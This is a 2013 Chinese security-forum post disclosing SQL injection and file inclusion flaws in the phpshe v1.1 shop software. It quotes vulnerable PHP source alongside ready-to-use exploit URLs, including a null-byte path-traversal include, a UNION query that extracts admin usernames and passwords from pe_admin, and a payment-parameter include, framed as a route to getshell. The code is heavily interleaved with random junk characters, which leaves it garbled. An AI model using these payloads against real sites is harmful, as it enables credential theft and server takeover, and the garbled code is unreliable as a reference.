找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2216|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
1 [% [: X& y: S1 x  u) ~' N; w/* Phpshe v1.1 Vulnerability
7 O5 Q# N6 q# A8 I9 A* K/* ========================/ r# G: Z3 H. P
/* By: : Kn1f3  B8 G) D( E9 `# p& D
/* E-Mail : 681796@qq.com
; x/ J4 D% h# x$ |4 d( v) P. X- ~/*******************************************************/3 H" B8 o; g+ x8 {- g" V4 y8 g
0×00 整体大概参数传输+ P# D+ p6 y: H0 m6 f& A

4 V- Z  E- F/ N* Q' m( p. G, r3 U7 j+ C; @, P- |
' k' R0 Y5 c& Y" D8 I$ [
//common.php
# B4 c( f) x& |if (get_magic_quotes_gpc()) {4 t- I8 m2 i. ?8 P
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
) t) \5 w) U' }' c2 C6 Z!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
$ b2 l4 U( K' ^2 _1 b}
2 V( n4 g) n" @( [% _" V) Eelse {1 }8 j, q" k, `7 }% K' G6 D
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
; t6 n2 @( ~* s6 J2 a, L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
' E% X; X6 C; r0 O3 T}
( z: D2 m4 c8 P# A" Qsession_start();
9 y9 G. _6 z6 g& ?0 L!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; \- x  c0 w. N/ X7 {!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');' l1 }% r4 z" Y& y
# c% [- S; q8 W) `6 |  _2 z
0×01 包含漏洞
3 Q  R  B6 B5 b0 Q
$ ~6 O5 v. \  a4 \) A9 S1 ~' U

1 g* ]8 @; }7 i% \5 M/ H//首页文件0 h( l6 ?! m2 s( f, `) t
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
5 Y$ m! n# f0 @+ Zinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞2 \9 v$ [, A1 z8 w
pe_result();" Y* _6 h1 c) |4 n, ?
?>
. Y- |  B9 ~9 D: l4 h; S; h//common 文件 第15行开始0 y" h- P1 h/ y1 }+ G; w
url路由配置
' E# `) {0 C: _; E$module = $mod = $act = 'index';
% ]$ B8 R. ]( K( C+ p$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);( v- L. Z# u- Q2 f5 Z# e
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);! U! y: a) o; n1 A2 j
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);) e" E( H  F0 P7 h4 F
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
; i" }8 q) R5 H2 I; c8 `7 D


: C& H6 k! W; c+ G ' X( [4 O, c9 S7 _8 @
0×02 搜索注入
9 I, _5 W) B. \2 q6 @7 {! N
2 R- ^! o# G' N+ R<code id="code2">

//product.php文件
$ J0 ^% h$ v3 ^" d% V) d, c( ycase 'list':
% a! x" j3 K5 E: |! @$category_id = intval($id);
9 ^8 K* Y& A% Y1 Q) L; d$info = $db->pe_select('category', array('category_id'=>$category_id));, h* n2 l& [; f1 D  s2 ~
//搜索. f% V1 v4 y! V' ~" t* B+ }$ B$ c
$sqlwhere = " and `product_state` = 1";2 R( X6 M8 g' K& a& \6 S
pe_lead('hook/category.hook.php');9 n! w5 ^$ I% L# y) b
if ($category_id) {
3 ?) D3 j1 i; @: H5 B) O1 ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
  `4 i4 D! D) u$ M$ Q1 L1 l}
+ I5 T7 g% N% w) S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤! q* X: C/ k5 n$ \0 b0 Q( P, Y
if ($_g_orderby) {! H8 w/ J7 }% M9 W
$orderby = explode('_', $_g_orderby);" r  W/ c# Z: _6 ~
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
. c* M. t' g  P) v- s* c2 o4 x}
% q) \4 N3 t9 a# |% melse {
6 T9 _+ W7 X+ A$sqlwhere .= " order by `product_id` desc";" R& C( N: C% y7 X# J- u1 S. d
}* `8 K8 X/ A8 U/ w
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
5 P9 k+ U) L; Q//热卖排行& m( `+ o7 X" V- ^' F' E* G5 J; I0 I
$product_hotlist = product_hotlist();
" H( ~1 t3 W1 l# g6 j. R) c//当前路径
$ W' P  c2 U- D9 @% ?8 v' V0 V$nowpath = category_path($category_id);+ d4 {6 r: \1 b( A4 g. d
$seo = pe_seo($info['category_name']);1 K: X+ C* f2 g# B
include(pe_tpl('product_list.html'));- J/ t6 X& j. v& h9 M, N
//跟进selectall函数库+ i: H0 }  G8 O- ]; A% |* x/ z& y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())" E3 L6 n. R! g5 w
{
1 Y% ^: H1 Z  X8 _$ V//处理条件语句  C: p. u5 J. ]/ T. @0 x
$sqlwhere = $this->_dowhere($where);2 v  S2 H/ a9 r" ?
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
3 f# b, w7 {0 a2 |* {}, ?/ C6 K( t7 `6 N5 f% L
//exp
) N4 H- k3 c' O7 ?3 sproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='19 @& A, ?+ a1 O% O4 W

</code>
( s* z+ S$ G6 K9 H% o % |7 O- H8 w& N: G
0×03 包含漏洞2* y2 `8 c9 S( p, }: o( c
( ~! w* e7 ]) V4 Z% `% F4 K4 W
<code id="code3">

//order.php

case 'pay':

4 Z. i7 ^7 Y& ^3 c
$order_id = pe_dbhold($_g_id);

2 K, |1 L: B5 h7 v; R; C% Z
$cache_payway = cache::get('payway');


# o. ~$ S$ ]# {+ U, Y, }- n9 j9 Mforeach($cache_payway as $k => $v) {


0 L9 g3 U( n8 j! S+ s* @$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


  w; U2 [+ `" zif ($k == 'bank') {


$ z) T' |1 b; j; X, Z( G6 C$ u) l$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


. k% {) G7 i: m$ G}

- p2 q1 Q1 c% ?! f2 y- Y
}


9 |/ S7 V$ K) N. T* b$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


4 u, \  U3 W6 D!$order['order_id'] && pe_error('订单号错误...');

1 V2 s# }1 s4 r
if (isset($_p_pesubmit)) {


+ ^8 w2 f3 N8 v3 f( Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# x7 w- [- |% [2 U& {6 B
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' v3 P/ |* M7 `! {2 \+ `8 `
foreach ($info_list as $v) {

% I/ f3 Z( y9 ]% y# Z
$order['order_name'] .= "{$v['product_name']};";9 v( s( S5 D3 n2 Z% y, A& y6 Y


8 f. P( K2 I# W. U- N; L/ Y}


4 G' }0 |8 Y& N& n- Q& l% K. f  secho '正在为您连接支付网站,请稍后...';

4 C( a0 u1 v* a9 o  Y9 A" ?
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


) D) |6 }2 a! |% R: j9 u}//当一切准备好的时候就可以进行"鸡肋包含了"


; p) L) R( ]5 p; d( x( [else {


4 v) q; B( K, {7 g5 Ppe_error('支付错误...');

; g( d4 r/ o2 u) P6 c2 J- h' L
}

' G* H, M* H2 W: I
}


9 R+ N. G7 s3 _$ A6 o" a" R4 Q$seo = pe_seo('选择支付方式');

" z, L5 S2 [: \4 ~! `" k1 r2 [
include(pe_tpl('order_pay.html'));


" B) z4 a9 l; T; m# sbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
  T$ ^& `$ Z/ s+ m0 O# k

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表